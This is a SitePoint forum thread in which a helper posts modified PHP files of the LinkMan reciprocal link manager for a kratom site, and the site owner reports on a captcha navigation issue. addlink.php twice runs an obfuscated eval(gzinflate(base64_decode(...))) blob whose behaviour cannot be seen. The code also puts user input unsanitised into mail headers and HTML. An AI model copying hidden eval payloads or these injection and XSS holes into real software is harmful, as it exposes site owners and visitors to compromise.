    	$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
    	if (preg_match($regex,$mydata))
    	{
    		problem('This website has been permanently banned from our link exchange!');
    		return;
    	}
    
    	/* Check reciprocal link URL */
    	$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
    	$regex = preg_replace('/index\.[^\/]+$/','',$regex);
    	$regex = str_replace('/','\/',rtrim($regex,'/'));
    	$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
    	if (preg_match($regex,$mydata))
    	{
    		problem('This website has been permanently banned from our link exchange!');
    		return;
    	}
    	unset($mydata);
    }
    if($numerr) return;
    
    /* Check title and description for possible spam problems */
    eval(gzinflate(base64_decode('DVe1ssXIFfwc75YCMZUjMTPfxCVmZn29Xz5Q09N0yisd/qm/dq
    qG9Cj/ydK9JLD/FWU+F+U//xF/Obzvobb3kQwBgMjzohgh6jhcJv8xjwydHZhlpeEN788idlIC6eUaif
    MB3h3cx29+tRt8zy1px60C8W9Zr5J5sFa0YxPWQc9qOqu2tTZPHnZx7tyHR+BUED+BSUFME86G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HG6f1BR+BWYVZJUz++kz8XmnuoDTiuCRY
    HJ486fHyff/OujLib0ux2AWFcWne9NQxQ3tyJKpdUboIR5OuWKtFHTq+QwyilgfMlER97bo01zM4Ofpx
    NzJ06UjalU1lBF22xH8IR91DWYitnWJ9w6tAAvo1yjVHMyO9OMZ30IBuQnrbaHbLH5wU0+mYYqF+o1x4
    TRMUbQDJm1P7zxv/aVylpUdiR9MaWoUrWCh2HmUxAROL3JFi/I9j4nOZ1+BQSlCSuIPaj4Wn9zRS+BMr
    KI2l6CeGFVt1N2HkliXvlSSaNWNgflxt+87UFNFOndUqducUmgAqL8L4KjQANmlGslBFV5z+VySn/TlG
    5J/QRJ4S3tNzrA/bmCylPhX+HBTneAq8InUiJGZYN0lpWhsXAgdmSizFiOKHiaJcRc7R4rm7zA23ShAA
    aRdB3DiO7xHV/we+Jzg2FZ3jC2i3bmLjUBYqNju9hLulDVb/jXsqRjHJk+tMnANdr41f5EKIdcZ3Dxsz
    J9InCDNy1ZmrGie22l127Wus5JLp0Jg18teNnXBYIADVLsf/7999///h8=')));
    
    if ($settings['spam_filter'])
    {
        $test = pj_checkTitleDesc($title, $description, $url, $settings['superlatives']);
        if ($test === true)
        {
            $test = '';
        }
        elseif ($test == 'superlatives')
        {
            problem('Don\'t use superlatives (words like best, biggest, cheapest, largest) in title and description!');
        }
        elseif ($test == 'text')
        {
            problem('Your link failed SPAM test, we are forced to reject it.');
        }
        elseif ($test == 'url')
        {
            problem('Your link failed SPAM test, we are forced to reject it.');
        }
    }
    
    if ($settings['autosubmit'])
    {
    	session_start();
        if (empty($_SESSION['checked']))
        {
            $_SESSION['checked']  = 'N';
            $_SESSION['secnum']   = rand(10000,99999);
            $_SESSION['checksum'] = $_SESSION['secnum'].$settings['filter_sum'].date('dmy');
        }
        if ($_SESSION['checked'] == 'N')
        {
            print_secimg();
    	$numerr++;
        }
        elseif ($_SESSION['checked'] == $settings['filter_sum'])
        {
            $_SESSION['checked'] = 'N';
            $secnumber = pj_isNumber($_POST['secnumber']);
            if(empty($secnumber))
            {
                print_secimg(1);
    	    $numerr++;
            }
            elseif (!check_secnum($secnumber,$_SESSION['checksum']))
            {
                print_secimg(2);
    	    $numerr++;
            }
        }
        else
        {
            problem('Internal script error. Wrong session parameters!');
    	return;
        }
    }
    if($numerr) return;
    /* Check for duplicate links */
    if ($settings['block_duplicates'])
    {
        $mydata = file_get_contents($settings['linkfile']);
    
        /* Check website URL */
        $regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
        $regex = preg_replace('/index\.[^\/]+$/','',$regex);
        $regex = str_replace('/','\/',rtrim($regex,'/'));
        $regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
        if (preg_match($regex,$mydata))
        {
            problem('Please don\'t submit the same website more than once or we will be forced to delete all your links!');
    	return;
        }
    
        /* Check reciprocal link URL */
        $regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
        $regex = preg_replace('/index\.[^\/]+$/','',$regex);
        $regex = str_replace('/','\/',rtrim($regex,'/'));
        $regex = '/'.$regex.'\/?(index\.[^\/]+)?\s/i';
        if (preg_match($regex,$mydata))
        {
            problem('Please don\'t submit multiple websites with the same reciprocal link URL or we will be forced to delete all your links!');
    	return;
        }
    
        unset($mydata);
    }
    
    /* Get HTML code of the reciprocal link URL */
    $html = @file_get_contents($recurl) or problem('Can\'t open remote URL!');
    $html = strtolower($html);
    $site_url = strtolower($settings['site_url']);
    
    /* Block links with the meta "robots" noindex or nofollow tags? */
    if ($settings['block_meta_rob']==1 && preg_match('/<meta([^>]+)(noindex|nofollow)(.*)>/siU',$html,$meta))
    {
        problem(
            'Please don\'t place the reciprocal link to a page with the meta robots noindex or nofollow tag:<br />'.
            htmlspecialchars($meta[0])
        );
        return;
    }
    
    $found    = 0;
    $nofollow = 0;
    
    if (preg_match_all('/<a\s[^>]*href=([\"\']??)([^" >]*?)\\1([^>]*)>/siU', $html, $matches, PREG_SET_ORDER)) {
        foreach($matches as $match)
        {
            if ($match[2] == $settings['site_url'] || $match[2] == $settings['site_url'].'/')
            {
                $found = 1;
                if (strstr($match[3],'nofollow'))
                {
                    $nofollow = 1;
                }
                break;
            }
        }
    }
    
    if ($found == 0)
    {
        problem(
            'Our URL (<a href="'.$settings['site_url'].'">'.$settings['site_url'].
            '</a>) wasn\'t found on your reciprocal links page (<a href="'.$recurl.'">'.
            $recurl.'</a>)!<br><br>Please make sure you place this exact URL on your
            links page before submitting your link!'
        );
        return;
    }
    
    /* Block links with rel="nofollow" attribute? */
    if ($settings['block_nofollow'] && $nofollow == 1)
    {
        problem('Please don\'t use rel=&quot;nofollow&quot; link attribute for the reciprocal link!');
        return;
    }
    
    /* Check Google PageRank */
    if ($settings['show_pr'] || $settings['min_pr'] || $settings['min_pr_rec'])
    {
        require('pagerank.php');
        $pr = getpr($url);
        $pr = empty($pr) ? 0 : $pr;
    
        if ($settings['min_pr'] && ($pr < $settings['min_pr']))
        {
            problem('Unfortunately we accept only websites with Google PageRank '.$settings['min_pr'].'/10 or higher. Please try submitting your website again in a few months.');
    	return;
        }
    
        if ($settings['min_pr_rec'])
        {
            $pr_rec = getpr($recurl);
            $pr_rec = empty($pr_rec) ? 0 : $pr_rec;
            if ($pr_rec < $settings['min_pr_rec'])
            {
                problem('Please place the reciprocal link to <a href="'.$settings['site_url'].'">'.$settings['site_url'].'</a> on a page with Google PageRank '.$settings['min_pr_rec'].'/10 or higher.');
    	    return;
            }
        }
    }
    
    $replacement = "$name$settings[delimiter]$email$settings[delimiter]$title$settings[delimiter]$url$settings[delimiter]$recurl$settings[delimiter]$description$settings[delimiter]0$settings[delimiter]$pr\n";
    
    /* Approve manually */
    if ($settings['man_approval'])
    {
    	$tmp = str_replace('www.','',strtolower($parsed_url['host']));
        $tmp = md5($tmp.$settings['filter_sum']);
        $tmp_file = 'apptmp/'.$tmp.'.txt';
    
        if (file_exists($tmp_file))
        {
        	problem('This link is already pending approval!');
    	return;
        }
    
    	$fp = fopen($tmp_file,'w') or problem('Couldn\'t open temporary file for writing! Please CHMOD the apptmp folder to 777 (rwxrwxrwx)!');
    	flock($fp, LOCK_EX);
    	fputs($fp,$replacement);
    	flock($fp, LOCK_UN);
    	fclose($fp);
    
    $message = "Hello,
    
    A new link is awaiting approval for your links page at $settings[site_url]
    
    Link details:
    
    Name: $name
    E-mail: $email
    URL: $url
    Reciprocal link: $recurl
    Title: $title
    Description:
    $description
    
    To APPROVE the link visit this URL:
    $settings[url_approval]?id=$tmp&approve=1
    
    To REJECT the link visit this URL:
    $settings[url_approval]?id=$tmp&approve=0
    
    
    End of message
    
    ";
    	$headers  = "From: $name <$email>\n";
    	$headers .= "Reply-To: $name <$email>\n";
    	mail($settings['admin_email'],'New link waiting approval',$message,$headers);
    
    	echo '
    <p align="center"><b>Your link submitted for approval!</b></p>
    <p>&nbsp;</p>
    <p align="center">Thank you, your link has been submitted for approval and will appear on the links page once approved by the administrator!</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p align="center"><a href="'.$settings['site_url'].'">Back to the main page</a></p>
    ';
    	return;
    
    }
    /* Approve automatically */
    else
    {
    	if ($settings['add_to'] == 0)
    	{
    	    /* Make sure new link is added after any featured ones */
    		$i = 0;
            $was_added = 0;
    		foreach ($lines as $thisline)
    		{
    			list($name2,$email2,$title2,$url2,$recurl2,$description2,$featured2,$pr2)=explode($settings['delimiter'],$thisline);
    			$featured2 = $featured2 ? 1 : 0;
    			if ($featured2 == 0)
    			{
    				$lines[$i] = $replacement . $thisline;
    				$was_added = 1;
    				break;
    			}
    			$i++;
    		}
    
            if ($was_added)
            {
    			$replacement = implode('',$lines);
    		    $fp = fopen($settings['linkfile'],'w') or problem('Couldn\'t open links file for writing! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		    flock($fp, LOCK_EX);
    		    fputs($fp,$replacement);
    		    flock($fp, LOCK_UN);
    		    fclose($fp);
            }
    		else
    		{
    		    $fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    		    flock($fp, LOCK_EX);
    		    fputs($fp,$replacement);
    		    flock($fp, LOCK_UN);
    		    fclose($fp);
    		}
    	}
    	else
    	{
    	    $fp = fopen($settings['linkfile'],'a') or problem('Couldn\'t open links file for appending! Please CHMOD all txt files to 666 (rw-rw-rw)!');
    	    flock($fp, LOCK_EX);
    	    fputs($fp,$replacement);
    	    flock($fp, LOCK_UN);
    	    fclose($fp);
    	}
    
    	if($settings['notify'] == 1)
    	{
    $message = "Hello,
    
    Someone just added a new link to your links page on $settings[site_url]
    
    Link details:
    
    Name: $name
    E-mail: $email
    URL: $url
    Reciprocal link: $recurl
    Title: $title
    Description:
    $description
    
    
    End of message
    
    ";
    	    $headers  = "From: $name <$email>\n";
    	    $headers .= "Reply-To: $name <$email>\n";
    	    mail($settings['admin_email'],'New link submitted',$message,$headers);
    	}
    
    	echo '
    <p align="center"><b>Your link has been added!</b></p>
    <p>&nbsp;</p>
    <p align="center">Thank you, your link has been successfully added to our link exchange (try reloading our links page if you don\'t see your link there yet)!</p>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    <p align="center"><a href="'.$settings['site_url'].'">Back to the main page</a></p>
    ';
    	return;
    }
    
    
    /*** FUNCTION ***/
    
    function problem($problem) {
    	global $numerr;
    	if(!$numerr) echo '<p align="center"><font color="#FF0000"><b>ERROR</b></font></p>';
    $numerr++;
    echo '
        <p align="center">'.$problem.'</p>
    ';
    
    }
    
    function print_secimg($message=0) {
    global $settings;
    $_SESSION['checked']=$settings['filter_sum'];
    echo '
    <p>&nbsp;</p>
    <p align="center"><b>Anti-SPAM check</b></p>
    <div align="center"><center>
    <table border="0">
    <tr>
    <td>
        <form action="linktest.php?'.strip_tags(SID).'" method="POST" name="form">
        <hr>
    ';
        if ($message == 1)
        {
            echo '<p align="center"><font color="#FF0000"><b>Please type in the security number</b></font></p>';
        }
        elseif ($message == 2)
        {
            echo '<p align="center"><font color="#FF0000"><b>Wrong security number. Please try again</b></font></p>';
        }
        echo '
    <p>This is a security check that prevents automated signups of this forum (SPAM).
    Please enter the security number displayed below into the input field and click the continue button.</p>
    <p>&nbsp;</p>
    <p>Security number: <b>'.$_SESSION['secnum'].'</b><br>
    Please type in the security number displayed above:
    <input type="text" size="7" name="secnumber" maxlength="5"></p>
    <p>&nbsp;
    ';
        foreach ($_POST as $k=>$v)
        {
            if ($k == 'secnumber')
            {
                continue;
            }
            echo '<input type="hidden" name="'.htmlspecialchars($k).'" value="'.htmlspecialchars(stripslashes($v)).'">';
        }
        echo '
    </p>
    <p align="center"><input type="submit" value=" Continue "></p>
    <hr>
    </form>
    </td>
    </tr>
    </table>
    </center></div>
    <p>&nbsp;</p>
    <p>&nbsp;</p>
    ';
    
    }
    
    function check_secnum($secnumber,$checksum) {
        global $settings;
        $secnumber .= $settings['filter_sum'].date('dmy');
        if ($secnumber == $checksum)
        {
            unset($_SESSION['checked']);
            return true;
        }
        else
        {
            return false;
        }
    }
    ?>

  16. #16
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    Seems to work Great! Theres one minor thing i wish i could change, That one error page that go's past captcha gos 1 previous page back to captcha, I wish that could go -2 steps back. But its really smooth this time and it go's right back to the captcha page then a user would have to click the previous page on the captcha page to get back to the add links page.

    Other then that It looks great every page is in my design and it validates.

    I added one link as a test and i didnt get my email to approve it so ill have to see why that is.

  17. #17
    SitePoint Addict tom8's Avatar
    Join Date
    Mar 2012
    Location
    New Jersey
    Posts
    310
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    Glad I helped out.

    Make sure your Settings for Notify me of new links is check YES and your email address is correct.

    I will look into the captcha issue if I have time today. Meanwhile you could go through the codes and see if you could figure out. It’s great way to learn a new language (PHP).

  18. #18
    SitePoint Enthusiast
    Join Date
    Dec 2008
    Posts
    76
    Mentioned
    0 Post(s)
    Tagged
    0 Thread(s)
    yea im gonna look and see if i can figure it out. and I fixed the email issue Thank You! Did you want a backlink? I have seo plans for this site

  19. #19
    SitePoint Addict tom8's Avatar
    Join Date
    Mar 2012
    Location
    New Jersey
    Posts
    310
    Mentioned
    1 Post(s)
    Tagged
    0 Thread(s)
    If you haven't figured out yet here is my fix:

    linktest.php
    Code:
    <?php session_start(); ?>
    <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    <html>
    <head>
      <meta name="generator"
     content="HTML Tidy for Linux (vers 6 November 2007), see www.w3.org">
      <title>Kratom | Kratom Leaf |</title>
      <meta name="description"
     content="uKratom offers information on kratom, kratom powder, kratom leaf, kratom extracts, effects of kratom, where to buy kratom and more.">
      <meta name="abstract"
     content="Get information about kratom, kratom extracts, kratom effects, kratom dosage and more. Learn all you can about the wounderful kratom plant.">
      <meta name="ROBOTS" content="ALL=INDEX,FOLLOW">
      <meta http-equiv="content-type" content="text/html; charset=utf-8">
      <link rel="stylesheet" type="text/css"
     href="http://ukratom.com/styles.css">
      <script type="text/javascript">
    var _gaq = _gaq || [];
    _gaq.push(['_setAccount', 'UA-30392963-1']);
    _gaq.push(['_trackPageview']);
    (function() {
    var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
    ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
    var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
    })();
      </script>
      <style type="text/css">
    p.c3 {text-align: center;}
    img.c2 {border: 0px solid ; width: 200px; height: 106px;}
    img.c1 {border: 0px solid ; width: 450px; height: 89px;}
      </style>
      <style type="text/css">
    img.c2 {vertical-align: middle;}
    img.c1 {vertical-align: middle;border:1x}
      </style>
    </head>
    <body>
    <div id="container">
    <div id="header">
    <h1><a href="http://ukratom.com" title="kratom home"><img class="c1"
     src="http://ukratom.com/images/kraton_logo.jpg" alt="Kratom"></a><a
     href="http://www.bouncingbearbotanicals.com/ethnobotanicals-kratom-c-60_91.html?ref=4331"
     target="_blank"><img class="c2" alt="buy kratom, kratom buy"
     src="http://ukratom.com/images/Kratom_leaf.jpg"></a></h1>
    </div>
    <div id="wrapper">
    <div id="content">
       <?php
          if($_REQUEST['addlink'])
          {
    	      include("addlink.php");
    	      if($_SESSION['counts'])
    	      {
    		      echo '<p style="text-align:center;font-weight:bold;font-size:16px;color:navy"><a href="javascript:history.go(-'.$_SESSION['counts'].')">Back to the previous page</a></p>';
    	      }
    	      elseif($abort)
    	      {
    		      echo '<p align="center"><a href="'.$settings['site_url'].'">Back to the main page</a></p>';
    	      }
    	      elseif($numerr) echo '<p style="text-align:center;font-weight:bold;font-size:16px;color:navy"><a href="javascript:history.go(-1)">Back to the previous page</a></p>';
          }
          else include("links.php");
          echo '<p style="font-size:10px">Powered by <a href="http://www.phpjunkyard.com/php-link-manager.php" class="linkman" title="link exchange software">PHP Link manager</a> from <a href="http://www.phpjunkyard.com/" class="linkman" title="free php scripts">php scripts</a></p>';
       ?>
    </div>
    </div>
    <div id="navigation">
    <ul>
      <li><a href="kratom_images.html" title="kratom images">Kratom Images</a></li>
      <li><a href="kratom_dosage.html" title="kratom dosage">Kratom Dosage</a></li>
      <li><a href="kratom_effects.html" title="kratom effects">Kratom Effects</a></li>
      <li><a href="kratom_extracts.html" title="kratom extract">Kratom Extracts</a></li>
      <li><a href="kratom_resin.html" title="kratom resin">Kratom Resin</a></li>
      <li><a href="kratom_crushed.html"
      title="crushed kratom leaf">Crushed Kratom Leaf</a></li>
      <li><a href="kratom_powder.html" title="kratom powder">Kratom Powder</a></li>
    </ul>
    </div>
    <div id="extra">
    <p class="c3"><a href="http://ukratom.com/" title="kratom home">Kratom
    Home</a> | <a href="sitemap.html" title="kratom sitemap">Site
    Map</a></p>
    </div>
    <div id="footer">
    <p class="white">&copy;uKRATOM.COM</p>
    </div>
    </div>
    </body>
    </html>
    links.php
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    
    if(!$_REQUEST['link'])
    {
    	echo '<p><a href="?link=add">Submit Your Website</a></p>';
    }
    
    $lines = file($settings['linkfile']);
    
    /* Handle pages */
    if ($settings['allow_pages'])
    {
    	/* Page number, default 1st page */
    	$page=intval($_REQUEST['page']);
    	if ($page > 0)
    	{
    	    $start=($page*$settings['max_per_page'])-$settings['max_per_page'];$end=$start+$settings['max_per_page']-1;
    	}
    	else
    	{
    	    $page=1;$start=0;$end=$settings['max_per_page']-1;
    	}
    
        /* Total number of links */
    	$total = count($lines);
    
    	if ($total > 0)
    	{
    		if ($end > $total) {$end=$total;}
    		$pages = ceil($total/$settings['max_per_page']);
                   
    		$page_nav = '';
    
    		if ($pages > 1)
    		{
    			$page_nav = '<p>';
    
    			$prev_page = ($page-1 <= 0) ? 0 : $page-1;
    			$next_page = ($page+1 > $pages) ? 0 : $page+1;
    
    			if ($prev_page)
    			{
    				$page_nav .= '<a href="links.php?page=1">&lt;&lt; First</a> &nbsp;|&nbsp; ';
    				if ($prev_page > 1)
    				{
    					$page_nav .= '<a href="links.php?page='.$prev_page.'">&lt; Prev</a> &nbsp;|&nbsp;';
    				}
    			}
    
    			for ($i=1; $i<=$pages; $i++)
    			{
    				if ($i <= ($page+5) && $i >= ($page-5))
    				{
    					if($i == $page) {$page_nav .= ' <b>'.$i.'</b> ';}
    				else {$page_nav .= ' <a href="links.php?page='.$i.'">'.$i.'</a> ';}
    				}
    			}
    
    			if ($next_page)
    			{
    				if ($next_page < $pages)
    				{
    					$page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$next_page.'">Next &gt;</a>';
    				}
    				$page_nav .= ' &nbsp;|&nbsp; <a href="links.php?page='.$pages.'">Last &gt;&gt;</a>';
    			}
    
    			$page_nav .= '</p>';
    
    			echo $page_nav;
    		}
    	}
    	$lines = array_slice($lines,$start,$settings['max_per_page']);
    }
    
    $print_featured = 0;
    $first = 1;
    $i = 0;
    
    foreach ($lines as $thisline)
    {
    	$thisline=trim($thisline);
    	if (!empty($thisline))
    	{
    		$i++;
    		list($name,$email,$title,$url,$recurl,$description,$featured,$pr)=explode($settings['delimiter'],$thisline);
    
    		$show_url = $settings['show_url'] ? '&nbsp;<span class="linkmanURL">-&nbsp;'.$url.'</span>' : '';
    
    		if ($settings['show_pr'] == 1)
    		{
    			if (empty($pr)) {$pr=0;}
    			$pr_code = '
    <td valign="top" class="linkman" title="Google PageRank: '.$pr.'/10">
    <img src="img/pr'.$pr.'.gif" width="40" height="5" alt="Google PageRank: '.$pr.'/10" style="vertical-align: middle;">&nbsp;</td>
    ';
    		}
    		else
    		{
    			$pr_code = '';
    		}
    		if ($settings['show_thumbshots'])
    		{
    		    $thumb_code = '<td valign="top" class="linkman">
    <img src="'.$settings['thumb_url'].rawurlencode($url).'" style="vertical-align: middle;border:1x" width="120" height="90" alt="Thumbnail">&nbsp;
    </td>
    ';
    		}
    		else
    		{
    			$thumb_code = '';
    		}
    
    		if ($featured == 1)
    		{
    			if ($print_featured == 0)
    			{
    				$print_featured = 1;
    				$first = 0;
    				echo '<p class="linkman"><b>Featured links</b></p><table border="0" cellspacing="1" cellpadding="1">';
    			}
    			$url      = ($settings['clean'] != 1) ? $url : 'go.php?url='.rawurlencode($url);
    			$nofollow = ($settings['use_nofollow']==1) ? 'rel="nofollow"' : '';
    			echo '<tr>'.$thumb_code.$pr_code.'<td valign="top" class="linkman"><p class="linkman"><a href="'
    			.$url.'" class="linkman" '.$nofollow.'><b>'.$title.'</b></a>'.$show_url.'<br>'.$description.
    			'<br>&nbsp;</p></td></tr>';
    		}
    		else
    		{
    			if ($settings['show_thumbshots']!=1)
    			{
    				$thumb_code = '';
    			}
    			if ($print_featured == 1)
    			{
    				$print_featured = 0;
    				$first = 1;
    				echo '</table>';
    			}
    			if ($first == 1)
    			{
    				$first = 0;
    				echo '<p class="linkman"><b>Reciprocal links</b></p><table border="0" cellspacing="1" cellpadding="1">';
    			}
    			$url      = ($settings['clean'] == 0) ? $url : 'go.php?url='.rawurlencode($url);
    			$nofollow = $settings['use_nofollow'] ? 'rel="nofollow"' : '';
    			echo '<tr>'.$thumb_code.$pr_code.'<td valign="top" class="linkman"><p class="linkman"><a href="'.
    			$url.'" class="linkman" '.$nofollow.'>'.$title.'</a>'.$show_url.'<br>'.$description.
    			'</p></td></tr>';
    		}
    	}
    }
    
    /* Close the table if at least one link is printed out */
    if ($i)
    {
    	echo '</table>';
    
    	/* Print bottom page navigation if at least 20 listings on the page */
    	if ($settings['allow_pages'] && $i > 19)
    	{
    		echo $page_nav;
    	}
    }
    else
    {
    	echo '<p class="linkman">No links yet!</p>';
    }
    if(!$_REQUEST['link']) return;
    
    if ($i < $settings['max_links'])
    {
    	echo '
    <p class="linkman"><a name="addlink"></a>&nbsp;<br><b>Submit your website</b></p>
    <p><b>&raquo; Step 1: Add our link to your website</b></p>
    <table border="0">
    <tr>
    <td>Website URL:</td>
    <td><a href="'.$settings['site_url'].'">'.$settings['site_url'].'</a></td>
    </tr>
    <tr>
    <td>Website Title:</td>
    <td>'.htmlspecialchars($settings['site_title']).'</td>
    </tr>
    <tr>
    <td>Description:</td>
    <td>'.htmlspecialchars($settings['site_desc']).'</td>
    </tr>
    </table>
    
    <p><textarea rows="4" cols="60" onfocus="this.select()">&lt;a href=&quot;'.
    $settings['site_url'].' &quot;&gt;'.htmlspecialchars($settings['site_title']).'&lt;/a&gt; - '.
    htmlspecialchars($settings['site_desc']).'</textarea></p>
    <p><b>&raquo; Step 2: Submit your link</b></p>
    <p>All fields are required. Please finish <b>Step 1</b> before submitting this form
    ';
    
    	if ($settings['man_approval'])
    	{
    		echo ' New links will be approved manually.';
    	}
    	echo '
    <form method="post" action="linktest.php">
    <table border="0">
    <tr>
    <td><b>Your name:</b></td>
    <td>
    <input type="hidden" name="addlink" value="1">
    <input type="text" name="name" size="40" maxlength="50">
    </td>
    </tr>
    <tr>
    <td><b>E-mail:</b></td>
    <td><input type="text" name="email" size="40" maxlength="50"></td>
    </tr>
    <tr>
    <td><b>Website title:</b></td>
    <td><input type="text" name="title" size="40" maxlength="50"></td>
    </tr>
    <tr>
    <td><b>Website URL:</b></td>
    <td><input type="text" name="url" maxlength="255" value="http://" size="40"></td>
    </tr>
    <tr>
    <td><b>URL with reciprocal link:</b></td>
    <td><input type="text" name="recurl" maxlength="255" value="http://" size="40"></td>
    </tr>
    </table>
    <p><b>Website description:</b><br>
    <input type="text" name="description" maxlength="200" size="60"></p>
    <p><input type="submit" value="Add link"></p>
    </form>
    ';
    
    } // End if $settings['max_links'] < $i
        else
        {
    	    echo '
    <p class="linkman">&nbsp;<br /><b>Submit your website</b></p>
    <p><i>Unfortunately we are not accepting any new links at the moment.</i></p>
    ';
        }
     // End if $settings['show_form']
    
    ?>
    addlink.php
    Code:
    <?php
    /*******************************************************************************
    *  Title: LinkMan reciprocal link manager
    *  Version: 1.7 @ April 18, 2009
    *  Author: Klemen Stirn
    *  Website: http://www.phpjunkyard.com
    ********************************************************************************
    *  COPYRIGHT NOTICE
    *  Copyright 2004-2009 Klemen Stirn. All Rights Reserved.
    *
    *  This script may be used and modified free of charge by anyone
    *  AS LONG AS COPYRIGHT NOTICES AND ALL THE COMMENTS REMAIN INTACT.
    *  By using this code you agree to indemnify Klemen Stirn from any
    *  liability that might arise from it's use.
    *
    *  Selling the code for this program, in part or full, without prior
    *  written consent is expressly forbidden. Using this code, in part or full,
    *  to create competing scripts or products is expressly forbidden.
    *
    *  Obtain permission before redistributing this software over the Internet
    *  or in any other medium. In all cases copyright and header must remain
    *  intact. This Copyright is in full effect in any country that has
    *  International Trade Agreements with the United States of America or
    *  with the European Union.
    *
    *  Removing any of the copyright notices without purchasing a license
    *  is illegal! To remove PHPJunkyard copyright notice you must purchase a
    *  license for this script. For more information on how to obtain a license
    *  please visit the site below:
    *  http://www.phpjunkyard.com/copyright-removal.php
    *******************************************************************************/
    
    define('IN_SCRIPT',1);
    require('settings.php');
    ini_set('user_agent', 'LinkMan '.$settings['verzija'].' by http://www.phpjunkyard.com');
    
    if(!$_POST['spam']) $_SESSION['counts'] = 0;
    $_POST['addlink'] = 1;
    
    /* Accepting any more links? */
    $lines = @file($settings['linkfile']);
    if (count($lines)>$settings['max_links'])
    {
        problem('We are not accepting any more links at the moment. We appologize for the inconvenience!');
        return;
    }
    /* Check user input */
    $name  = pj_input($_POST['name'],'Please enter your name!');
    $email = pj_input($_POST['email'],'Please enter your e-mail address!');
    if (!preg_match('/([\w\-]+\@[\w\-]+\.[\w\-]+)/',$email))
    {
        problem('Please enter a valid e-mail address!');
        return;
    }
    $title = pj_input($_POST['title'],'Please enter the title (name) of your website!');
    if (strlen($title)>50)
    {
        problem('Title is too long! Limit website title to 50 chars!');
        return;
    }
    
    $url   = pj_input($_POST['url'],'Please enter the URL of your website!');
    if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$url)))
    {
        problem('Please enter valid URL of your website!');
        return;
    }
    
    $recurl = pj_input($_POST['recurl'],'Please enter the url where a reciprocal link to our site is placed!');
    if (!(preg_match('/(http:\/\/+[\w\-]+\.[\w\-]+)/i',$recurl)))
    {
        problem('Please enter valid URL of the page where the reciprocal link to our site is placed!');
        return;
    }
    /* Compare URL and Reciprocal page URL */
    $parsed_url = parse_url($url);
    $parsed_rec = parse_url($recurl);
    if ($parsed_url['host'] != $parsed_rec['host'])
    {
        problem('The reciprocal link must be placed under the same (sub)domain as your link is!');
        return;
    }
    
    $url    = str_replace('&amp;','&',$url);
    $recurl = str_replace('&amp;','&',$recurl);
    
    $description = pj_input($_POST['description'],'Please write a short description of your website!');
    if (strlen($description)>200)
    {
        problem('Description is too long! Description of your website is limited to 200 chars!');
        return;
    }
    
    /* Check if the website is banned */
    if ($mydata = file_get_contents($settings['banfile']))
    {
    	/* Check website URL */
    	$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$url);
    	$regex = preg_replace('/index\.[^\/]+$/','',$regex);
    	$regex = str_replace('/','\/',rtrim($regex,'/'));
    	$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
    	if (preg_match($regex,$mydata))
    	{
    		problem('This website has been permanently banned from our link exchange!');
    		return;
    	}
    
    	/* Check reciprocal link URL */
    	$regex = str_replace(array('http://www.','http://'),'http://(www\.)?',$recurl);
    	$regex = preg_replace('/index\.[^\/]+$/','',$regex);
    	$regex = str_replace('/','\/',rtrim($regex,'/'));
    	$regex = '/'.$regex.'\/?(index\.[^\/]+)?/i';
    	if (preg_match($regex,$mydata))
    	{
    		problem('This website has been permanently banned from our link exchange!');
    		return;
    	}
    	unset($mydata);
    }
    if($numerr) return;
    
    /* Check title and description for possible spam problems */
    eval(gzinflate(base64_decode('DVe1ssXIFfwc75YCMZUjMTPfxCVmZn29Xz5Q09N0yisd/qm/dq
    qG9Cj/ydK9JLD/FWU+F+U//xF/Obzvobb3kQwBgMjzohgh6jhcJv8xjwydHZhlpeEN788idlIC6eUaif
    MB3h3cx29+tRt8zy1px60C8W9Zr5J5sFa0YxPWQc9qOqu2tTZPHnZx7tyHR+BUED+BSUFME86GyBVWrV
    /b7+QrstzCGV7uXnDEdik4N2yU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tUSCnzgJEDZ8U/sXe52PSYk0HASbjgOEOdcZs4W65Xns
    0Gh+JPVuuInIg8SGP9MupYTDTeSBP2k3d812P7120eF0yVGYSvF1VKg94RWwLX0+iAU5InBJcMSiptBr
